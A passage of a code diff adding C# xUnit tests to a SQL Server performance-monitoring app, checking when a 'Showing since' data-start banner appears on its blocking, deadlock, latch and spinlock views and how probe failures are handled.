+    public DataStartBannerBlockingEventsTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "DataStartBannerBlocking_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    /// <summary>The collector whose runs the relation's coverage is read from.</summary>
+    private static string CollectorOf(QueryWindowRelation relation) => relation switch
+    {
+        QueryWindowRelation.BlockedProcessReports => "blocked_process_report",
+        QueryWindowRelation.Deadlocks => "deadlocks",
+        _ => throw new ArgumentOutOfRangeException(nameof(relation))
+    };
+
+    /// <summary>One stored event row (a blocked process report, or a deadlock) collected at <paramref name="at"/>.</summary>
+    private async Task SeedEventAsync(QueryWindowRelation relation, DateTime at)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = relation == QueryWindowRelation.BlockedProcessReports
+            ? @"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time)
+VALUES ($1, $2, $3, $4, $2)"
+            : @"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time)
+VALUES ($1, $2, $3, $4, $2)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>
+    /// The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes from
+    /// <paramref name="firstUtc"/> to <paramref name="lastUtc"/>, whether or not anything was captured.
+    /// </summary>
+    private async Task SeedLogRunsAsync(QueryWindowRelation relation, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = CollectorOf(relation) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(firstUtc) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(lastUtc) });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>The probe, then the banner step the surface runs on the result: (visible, text).</summary>
+    private async Task<(bool Visible, string Text)> BannerForAsync(QueryWindowRelation relation, DateTime startUtc, DateTime endUtc)
+    {
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    private static string SinceText(DateTime instant) =>
+        "Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(instant), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss");
+
+    /// <summary>The two relations are in the probe's closed maps, with the collector the grid's table is filled by.</summary>
+    [Fact]
+    public void BlockingEventRelations_NameTheirArchiveViewAndCollector()
+    {
+        Assert.Equal("v_blocked_process_reports", LocalDataService.QueryWindowRelationView(QueryWindowRelation.BlockedProcessReports));
+        Assert.Equal("v_deadlocks", LocalDataService.QueryWindowRelationView(QueryWindowRelation.Deadlocks));
+        Assert.Equal("blocked_process_report", LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.BlockedProcessReports));
+        Assert.Equal("deadlocks", LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.Deadlocks));
+    }
+
+    /// <summary>Rows that start inside the range: a 7-day range whose oldest stored event is 2 days old shows the banner, worded at that event.</summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.BlockedProcessReports)]
+    [InlineData(QueryWindowRelation.Deadlocks)]
+    public async Task RangeStartsBeforeTheOldestStoredRow_ShowsTheBanner(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var oldest = end.AddDays(-2);
+        await SeedEventAsync(relation, oldest);
+        await SeedEventAsync(relation, end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.StartsWith("Showing since ", text, StringComparison.Ordinal);
+        Assert.Contains(Naive(oldest).ToString("yyyy-MM-dd HH:"), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A server added 2 days ago whose first event came a day later: the 7-day range starts before its coverage, and
+    /// the banner names where coverage starts (its first collection), not its first event.
+    /// </summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.BlockedProcessReports)]
+    [InlineData(QueryWindowRelation.Deadlocks)]
+    public async Task ServerAddedTwoDaysAgo_SaysSinceItsFirstCollection_NotItsFirstRow(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddDays(-2);
+        await SeedLogRunsAsync(relation, added, end, 30);
+        await SeedEventAsync(relation, end.AddDays(-1));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(added), text);
+    }
+
+    /// <summary>
+    /// The quiet-start guard: the collector ran across the whole range (and for two days before it), and the first
+    /// event inside the range came 5 hours after its start. The store covered the range, so there is no banner.
+    /// </summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.BlockedProcessReports)]
+    [InlineData(QueryWindowRelation.Deadlocks)]
+    public async Task QuietStart_StoreCoveredTheRange_FirstRowComesLate_ShowsNoBanner(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync(relation, end.AddDays(-9), end, 30);
+        await SeedEventAsync(relation, end.AddDays(-7).AddHours(5));
+        await SeedEventAsync(relation, end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// The same guard through a row alone: one old event, then nothing until two hours ago. The range's own first
+    /// event sits far past its start while the store holds an older one, so nothing is missing.
+    /// </summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.BlockedProcessReports)]
+    [InlineData(QueryWindowRelation.Deadlocks)]
+    public async Task QuietStart_WithAnOlderRowBeforeTheRange_ShowsNoBanner(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedEventAsync(relation, end.AddDays(-27));
+        await SeedEventAsync(relation, end.AddHours(-2));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>A server with no event and no run of the collector in the range has nothing to say about where its data starts.</summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.BlockedProcessReports)]
+    [InlineData(QueryWindowRelation.Deadlocks)]
+    public async Task NothingInTheRange_ShowsNoBanner(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedEventAsync(relation, end.AddDays(-20));
+
+        var (visible, _) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.False(visible);
+    }
+
+    /// <summary>The two XAML banners exist, one per grid, next to the grid they describe.</summary>
+    [Fact]
+    public void BothBanners_AreDeclaredInTheBlockingSubTabs()
+    {
+        var xaml = File.ReadAllText(ControlsFile("ServerTab.xaml"));
+        Assert.Contains("x:Name=\"BlockedProcessReportsWindowTruncatedBanner\"", xaml, StringComparison.Ordinal);
+        Assert.Contains("x:Name=\"DeadlocksWindowTruncatedBanner\"", xaml, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Every read path of the two grids refreshes the banner through the shared helper, over the UTC window that
+    /// path's grid read takes, AFTER the rows are bound: the sub-tab switch and the full refresh
+    /// (<c>GetQueriesTabWindowUtc</c>, the same <c>GetTimeRange</c> pair the grid reads resolve), the slicer handler
+    /// (<c>e.StartUtc</c>/<c>e.EndUtc</c>) and the chart drill-down (its own naive-UTC pair). Text-scans SOURCE with
+    /// comments stripped, so a sentence that names the call cannot satisfy the pin.
+    /// </summary>
+    [Theory]
+    [InlineData("BlockedProcessReports", "BlockedProcessReportsWindowTruncatedBanner", "_blockedProcessFilterMgr!.UpdateData(", "OnBlockingSlicerChanged", "OnBlockingDrillDown",
+        @"LocalDataService\.BlockedProcessReportGridCap,\s*BlockedProcessRowTimeUtc")]
+    [InlineData("Deadlocks", "DeadlocksWindowTruncatedBanner", "_deadlockFilterMgr!.UpdateData(", "OnDeadlockSlicerChanged", "OnDeadlockDrillDown",
+        @"LocalDataService\.DeadlockGridCap,\s*DeadlockRowTimeUtc")]
+    public void EveryReadPath_RefreshesTheBanner_OverTheWindowItRead_AfterTheRowsAreBound(
+        string relation, string banner, string bindCall, string slicerHandler, string drillHandler, string capAndRowTime)
+    {
+        /* #4966: both grids read a capped page, so every path goes through the cap-aware step with the rows the grid shows, the
+           ONE constant that is the read's cap, and the time each row is capped on. */
+        var call = @"await RefreshCappedGridBannerAsync\(QueryWindowRelation\." + relation + @",\s*" + banner + @",\s*";
+        var rowsCapAndTime = @",\s*[\w.]+,\s*" + capAndRowTime + @"[^;]*\);";
+
+        /* The slicer handler: its own e.StartUtc / e.EndUtc, after the bind. */
+        var slicer = MethodBody(Code("ServerTab.Slicers.cs"), "private async void " + slicerHandler + "(");
+        var slicerCall = Regex.Matches(slicer, call + @"e\.StartUtc,\s*e\.EndUtc" + rowsCapAndTime);
+        Assert.True(slicerCall.Count == 1, $"{slicerHandler} must refresh the {relation} banner exactly once over e.StartUtc, e.EndUtc; found {slicerCall.Count}");
+        Assert.True(slicerCall[0].Index > slicer.IndexOf(bindCall, StringComparison.Ordinal) && slicer.Contains(bindCall, StringComparison.Ordinal),
+            $"{slicerHandler} must refresh the banner after it binds the rows");
+
+        /* The drill-down: the pair its grid read takes, after the bind. */
+        var drill = MethodBody(Code("ServerTab.DrillDown.cs"), "private async void " + drillHandler + "(");
+        var drillCall = Regex.Matches(drill, call + @"fromDate,\s*toDate" + rowsCapAndTime);
+        Assert.True(drillCall.Count == 1, $"{drillHandler} must refresh the {relation} banner exactly once over fromDate, toDate; found {drillCall.Count}");
+        Assert.True(drillCall[0].Index > drill.IndexOf(bindCall, StringComparison.Ordinal) && drill.Contains(bindCall, StringComparison.Ordinal),
+            $"{drillHandler} must refresh the banner after it binds the rows");
+
+        /* The sub-tab switch and the full refresh: each over GetQueriesTabWindowUtc's pair, after its bind. */
+        var refresh = MethodBody(Code("ServerTab.Refresh.cs"), "private async System.Threading.Tasks.Task RefreshBlockingAsync(");
+        var refreshCalls = Regex.Matches(refresh, call + @"(?<s>windowStart\w*),\s*(?<e>windowEnd\w*)" + rowsCapAndTime);
+        Assert.True(refreshCalls.Count == 2, $"RefreshBlockingAsync must refresh the {relation} banner twice (sub-tab switch, full refresh); found {refreshCalls.Count}");
+        foreach (Match refreshCall in refreshCalls)
+        {
+            /* The pair is the one the grid read resolves: GetQueriesTabWindowUtc is GetTimeRange(hoursBack, fromDate, toDate, null). */
+            var declared = $"var ({refreshCall.Groups["s"].Value}, {refreshCall.Groups["e"].Value}) = LocalDataService.GetQueriesTabWindowUtc(hoursBack, fromDate, toDate);";
+            var at = refresh.IndexOf(declared, StringComparison.Ordinal);
+            Assert.True(at >= 0 && at < refreshCall.Index, $"RefreshBlockingAsync must declare '{declared}' before the {relation} banner call that uses it");
+        }
+
+        var firstBind = refresh.IndexOf(bindCall, StringComparison.Ordinal);
+        var secondBind = refresh.IndexOf(bindCall, firstBind + 1, StringComparison.Ordinal);
+        Assert.True(firstBind >= 0 && secondBind > firstBind, $"RefreshBlockingAsync no longer binds the {relation} grid twice; update this pin.");
+        Assert.True(refreshCalls[0].Index > firstBind && refreshCalls[0].Index < secondBind, "the sub-tab switch must refresh the banner after its own bind");
+        Assert.True(refreshCalls[1].Index > secondBind, "the full refresh must refresh the banner after its own bind");
+    }
+
+    /// <summary>The source with block and line comments removed, LF line ends.</summary>
+    private static string Code(string name)
+    {
+        var lf = File.ReadAllText(ControlsFile(name)).Replace("\r\n", "\n");
+        return Regex.Replace(Regex.Replace(lf, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"//[^\n]*", string.Empty);
+    }
+
+    /// <summary>From <paramref name="signature"/> to the method's closing brace (a line holding only four spaces and a brace).</summary>
+    private static string MethodBody(string code, string signature)
+    {
+        var start = code.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"'{signature}' is no longer in the source; update this pin.");
+        var end = code.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        Assert.True(end > start, $"the end of '{signature}' was not found.");
+        return code[start..end];
+    }
+
+    private static string ControlsFile(string name) =>
+        Path.GetFullPath(Path.Combine(ControlsDir(), name));
+
+    private static string ControlsDir([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls"));
+}
diff --git a/Lite.Tests/DataStartBannerLatchSpinlockTests.cs b/Lite.Tests/DataStartBannerLatchSpinlockTests.cs
new file mode 100644
index 0000000000..ad94e21c12
--- /dev/null
+++ b/Lite.Tests/DataStartBannerLatchSpinlockTests.cs
@@ -0,0 +1,176 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// The "where the data starts" notice (#4966) on the Latches &amp; Spinlocks tab's two trend charts. Each draws a flat zero
+/// over an empty stretch, so each says where its collector's coverage starts: latch_stats (collector latch_stats) and
+/// spinlock_stats (collector spinlock_stats), through the shared probe and banner step.
+/// </summary>
+[Collection("server-time-helper")]
+public sealed class DataStartBannerLatchSpinlockTests : IDisposable
+{
+    private const int ServerId = 4966;
+    private const string ServerName = "LatchSpinlockServer";
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = 1;
+
+    public DataStartBannerLatchSpinlockTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "DataStartBannerLatch_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static string CollectorOf(QueryWindowRelation relation) =>
+        relation == QueryWindowRelation.LatchStats ? "latch_stats" : "spinlock_stats";
+
+    private async Task SeedRowAsync(QueryWindowRelation relation, DateTime at)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = relation == QueryWindowRelation.LatchStats
+            ? @"
+INSERT INTO latch_stats (collection_id, collection_time, server_id, server_name, latch_class, waiting_requests_count, wait_time_ms, max_wait_time_ms)
+VALUES ($1, $2, $3, $4, 'ACCESS_METHODS_DATASET_PARENT', 1, 1, 1)"
+            : @"
+INSERT INTO spinlock_stats (collection_id, collection_time, server_id, server_name, spinlock_name, collisions, spins, spins_per_collision, sleep_time, backoffs)
+VALUES ($1, $2, $3, $4, 'LOCK_HASH', 1, 1, 1, 0, 0)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(at) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedLogRunsAsync(QueryWindowRelation relation, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = CollectorOf(relation) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(firstUtc) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(lastUtc) });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    private async Task<(bool Visible, string Text)> BannerForAsync(QueryWindowRelation relation, DateTime startUtc, DateTime endUtc)
+    {
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    private static string SinceText(DateTime instant) =>
+        "Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(instant), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss");
+
+    [Fact]
+    public void Relations_NameTheirArchiveViewCollectorAndTimeColumn()
+    {
+        Assert.Equal("v_latch_stats", LocalDataService.QueryWindowRelationView(QueryWindowRelation.LatchStats));
+        Assert.Equal("v_spinlock_stats", LocalDataService.QueryWindowRelationView(QueryWindowRelation.SpinlockStats));
+        Assert.Equal("latch_stats", LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.LatchStats));
+        Assert.Equal("spinlock_stats", LocalDataService.QueryWindowRelationCollector(QueryWindowRelation.SpinlockStats));
+        Assert.Equal("collection_time", LocalDataService.QueryWindowRelationTimeColumn(QueryWindowRelation.LatchStats));
+        Assert.Equal("collection_time", LocalDataService.QueryWindowRelationTimeColumn(QueryWindowRelation.SpinlockStats));
+    }
+
+    /// <summary>The server was added 2 days ago, so a 7-day chart starts before its coverage: the note names the first collection.</summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.LatchStats)]
+    [InlineData(QueryWindowRelation.SpinlockStats)]
+    public async Task DataStartsInsideTheWindow_ShowsTheNote_AtTheFirstCollection(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddDays(-2);
+        await SeedLogRunsAsync(relation, added, end, 30);
+        await SeedRowAsync(relation, added.AddMinutes(1));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal(SinceText(added), text);
+    }
+
+    /// <summary>The store covered the whole window (runs for two days before it) and the first row inside it is late: no note.</summary>
+    [Theory]
+    [InlineData(QueryWindowRelation.LatchStats)]
+    [InlineData(QueryWindowRelation.SpinlockStats)]
+    public async Task QuietStart_WindowIsCovered_FirstPointComesLate_ShowsNoNote(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync(relation, end.AddDays(-9), end, 30);
+        await SeedRowAsync(relation, end.AddDays(-7).AddHours(5));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>The wiring: each chart has its banner, refreshed through the shared helper after the charts are bound.</summary>
+    [Theory]
+    [InlineData("LatchStats", "LatchStatsWindowTruncatedBanner", "UpdateLatchStatsChart(")]
+    [InlineData("SpinlockStats", "SpinlockStatsWindowTruncatedBanner", "UpdateSpinlockStatsChart(")]
+    public void RefreshLatchSpinlockAsync_RefreshesEachBanner_AfterTheChartIsDrawn(string relation, string banner, string drawCall)
+    {
+        Assert.Contains($"x:Name=\"{banner}\"", File.ReadAllText(ControlsFile("ServerTab.xaml")), StringComparison.Ordinal);
+
+        var lf = File.ReadAllText(ControlsFile("ServerTab.LatchSpinlock.cs")).Replace("\r\n", "\n");
+        var code = Regex.Replace(Regex.Replace(lf, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"//[^\n]*", string.Empty);
+        var start = code.IndexOf("private async System.Threading.Tasks.Task RefreshLatchSpinlockAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var body = code[start..code.IndexOf("\n    }\n", start, StringComparison.Ordinal)];
+
+        var call = body.IndexOf($"await RefreshStoredWindowBannerAsync(QueryWindowRelation.{relation}, {banner}, hoursBack, fromDate, toDate);", StringComparison.Ordinal);
+        Assert.True(call > body.IndexOf(drawCall, StringComparison.Ordinal) && body.Contains(drawCall, StringComparison.Ordinal),
+            "the banner must be refreshed after the chart is drawn");
+    }
+
+    private static string ControlsFile(string name, [CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls", name));
+}
diff --git a/Lite.Tests/DataStartBannerProbeFailureTests.cs b/Lite.Tests/DataStartBannerProbeFailureTests.cs
new file mode 100644
index 0000000000..8b00cc394c
--- /dev/null
+++ b/Lite.Tests/DataStartBannerProbeFailureTests.cs
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// A data-start probe that throws (Active Queries, Current Waits, and the three Queries grids share one) costs its
+/// "Showing since" banner and nothing else. The probe runs before the Query Stats grid bind in the Queries refresh,
+/// and before the slicer loads and the tab-badge counts in the Locking refresh, so an uncaught failure skipped them.
+/// </summary>
+/* AppLogger.DrainBufferedLines is destructive, so a class that reads it shares the one collection that serializes the
+   others that do. */
+[Collection("app-logger-statics")]
+public sealed class DataStartBannerProbeFailureTests
+{
+    private static readonly DateTime WindowStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    [Fact]
+    public void AProbeThatThrows_HidesTheBanner_IsLogged_AndLetsTheRefreshGoOn()
+    {
+        var tag = "probe-" + Guid.NewGuid().ToString("N")[..8];
+        AppLogger.DrainBufferedLines();
+
+        var (visible, text, answer) = StaTestThread.Run(() =>
+        {
+            /* Seeded visible, with the last read's text, so a helper that never touched the banner cannot pass. */
+            var banner = new System.Windows.Controls.TextBlock
+            {
+                Visibility = System.Windows.Visibility.Visible,
+                Text = "Showing since 2026-09-04 00:00:00",
+            };
+            /* What the refresh does: the guarded probe, then the banner step on its answer. */
+            var floor = ServerTab.ProbeWindowFloorOrNullAsync(
+                () => Task.FromException<DateTime?>(new InvalidOperationException(tag)),
+                "[DataStartServer] QuerySnapshots", WindowStart, WindowStart.AddDays(7)).GetAwaiter().GetResult();
+            var result = ServerTab.ApplyWindowFloorToBanner(banner, floor, WindowStart, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, result);
+        });
+
+        Assert.False(answer);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+        var logged = Assert.Single(AppLogger.DrainBufferedLines(), l => l.Contains(tag, StringComparison.Ordinal));
+        Assert.Contains("[WARN ]", logged, StringComparison.Ordinal);
+        Assert.Contains("[DataStartServer] QuerySnapshots", logged, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AProbeThatAnswersAfterTheWindowStart_ShowsTheBanner_AndLogsNothing()
+    {
+        var tag = "probe-" + Guid.NewGuid().ToString("N")[..8];
+        AppLogger.DrainBufferedLines();
+
+        var (visible, text, answer) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            var floor = ServerTab.ProbeWindowFloorOrNullAsync(
+                () => Task.FromResult<DateTime?>(WindowStart.AddDays(3)), tag, WindowStart, WindowStart.AddDays(7)).GetAwaiter().GetResult();
+            var result = ServerTab.ApplyWindowFloorToBanner(banner, floor, WindowStart, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, result);
+        });
+
+        Assert.True(answer);
+        Assert.True(visible);
+        Assert.Equal("Showing since 2026-09-04 00:00:00", text);
+        Assert.DoesNotContain(AppLogger.DrainBufferedLines(), l => l.Contains(tag, StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// #4966: a window no longer than the 90-minute slack can never get a coverage note (a floor inside it is at most
+    /// its length after the start), so the guarded probe is not called for it: its answer is null, which hides the
+    /// banner and clears its text, however visible the last read left it. The probe stand-in counts its calls, so one
+    /// that was made fails here.
+    /// </summary>
+    [Theory]
+    [InlineData(0)]
+    [InlineData(1)]
+    [InlineData(60)]
+    [InlineData(90)]
+    public void AWindowNoLongerThanTheSlack_MakesNoProbeCall_AndHidesTheBanner(int windowMinutes)
+    {
+        var probeCalls = 0;
+        var (visible, text, answer) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock
+            {
+                Visibility = System.Windows.Visibility.Visible,
+                Text = "Showing since 2026-09-04 00:00:00",
+            };
+            var floor = ServerTab.ProbeWindowFloorOrNullAsync(
+                () =>
+                {
+                    probeCalls++;
+                    return Task.FromResult<DateTime?>(WindowStart.AddMinutes(windowMinutes));
+                },
+                "[DataStartServer] QuerySnapshots", WindowStart, WindowStart.AddMinutes(windowMinutes)).GetAwaiter().GetResult();
+            var result = ServerTab.ApplyWindowFloorToBanner(banner, floor, WindowStart, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, result);
+        });
+
+        Assert.Equal(0, probeCalls);
+        Assert.False(answer);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A window one minute past the slack, or a day wide, still asks the probe, once, and words its answer: the skip
+    /// is for the windows that can never get a note, and no more.
+    /// </summary>
+    [Theory]
+    [InlineData(91, "Showing since 2026-09-01 01:31:00")]
+    [InlineData(24 * 60, "Showing since 2026-09-02 00:00:00")]
+    public void AWindowLongerThanTheSlack_StillCallsTheProbeOnce_AndWordsItsAnswer(int windowMinutes, string expectedText)
+    {
+        var probeCalls = 0;
+        var (visible, text, answer) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            var floor = ServerTab.ProbeWindowFloorOrNullAsync(
+                () =>
+                {
+                    probeCalls++;
+                    return Task.FromResult<DateTime?>(WindowStart.AddMinutes(windowMinutes));
+                },
+                "[DataStartServer] QuerySnapshots", WindowStart, WindowStart.AddMinutes(windowMinutes)).GetAwaiter().GetResult();
+            var result = ServerTab.ApplyWindowFloorToBanner(banner, floor, WindowStart, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, result);
+        });
+
+        Assert.Equal(1, probeCalls);
+        Assert.True(answer);
+        Assert.True(visible);
+        Assert.Equal(expectedText, text);
+    }
+
+    /// <summary>
+    /// The shared banner refresh, the one place the probe is called, goes through the guarded probe, handing it the
+    /// window the probe is asked about (the short-window skip reads it), so every surface
+    /// that carries a banner (the three Queries grids, Active Queries, Current Waits) and every read path of each is
+    /// covered. Text-scans SOURCE, like QueryWindowTruncationTests.
+    /// </summary>
+    [Fact]
+    public void TheSharedBannerRefresh_GoesThroughTheGuardedProbe()
+    {
+        var source = File.ReadAllText(ControlsFile("ServerTab.Refresh.cs"));
+
+        Assert.Single(Regex.Matches(source,
